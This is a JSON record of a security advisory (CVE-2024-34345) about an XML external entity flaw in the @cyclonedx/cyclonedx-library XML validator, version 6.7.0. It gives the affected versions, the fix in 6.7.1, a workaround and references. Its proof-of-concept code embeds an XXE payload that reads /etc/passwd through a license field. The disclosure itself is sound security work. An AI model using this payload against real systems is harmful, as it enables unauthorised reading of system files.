{"id":"GHSA-38gf-rh2w-gmj7","revision":"f002b25197364aa29c324b24030f9bb1","records":[{"revision":"f002b25197364aa29c324b24030f9bb1","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-38gf-rh2w-gmj7","aliases":["CVE-2024-34345"],"title":"@cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability","description":"### Impact\n\nXML External entity injections could be possible, when running the provided XML Validator on arbitrary input.\n\n#### POC\n\n```js\nconst {\n  Spec: { Version },\n  Validation: { XmlValidator }\n} = require('@cyclonedx/cyclonedx-library');\n\nconst version = Version.v1dot5;\nconst validator = new XmlValidator(version);\nconst input = `<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE poc [\n  <!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n]>\n<bom xmlns=\"http://cyclonedx.org/schema/bom/1.5\">\n  <components>\n    <component type=\"library\">\n      <name>testing</name>\n      <version>1.337</version>\n      <licenses>\n        <license>\n          <id>&xxe;</id><!-- << XML external entity (XXE) injection -->\n        </license>\n      </licenses>\n    </component>\n  </components>\n</bom>`;\n\n// validating this forged(^) input might lead to unintended behaviour\n// for the fact that the XML external entity would be taken into account.\nvalidator.validate(input).then(ve => {\n  console.error('validation error', ve);\n});\n```\n\n### Patches\n\nThis issue was fixed in `@cyclonedx/cyclonedx-library@6.7.1 `.\n\n\n\n### Workarounds\n\nDo not run the provided XML validator on untrusted inputs.\n\n### References\n\n* issue was introduced via <https://github.com/CycloneDX/cyclonedx-javascript-library/pull/1063>.  \n","state":0,"publishedAt":"2024-05-08T19:55:37+00:00","modifiedAt":"2026-09-10T03:50:13.0685442+00:00","affected":[{"ecosystem":"npm","name":"@cyclonedx/cyclonedx-library","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"6.7.0"},{"kind":"fixed","version":"6.7.1"}]}],"versions":["6.7.0"],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/CycloneDX/cyclonedx-javascript-library/security/advisories/GHSA-38gf-rh2w-gmj7","https://nvd.nist.gov/vuln/detail/CVE-2024-34345","https://github.com/CycloneDX/cyclonedx-javascript-library/pull/1063","https://github.com/CycloneDX/cyclonedx-javascript-library/commit/5e5e1e0b9422f47d2de81c7c4064b803a01e7203","https://github.com/CycloneDX/cyclonedx-javascript-library"],"sourceUrl":"https://github.com/advisories/GHSA-38gf-rh2w-gmj7","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-38gf-rh2w-gmj7","identifiers":["GHSA-38gf-rh2w-gmj7","CVE-2024-34345"]},"retained":false,"historicalAffected":[]}],"coverage":[]}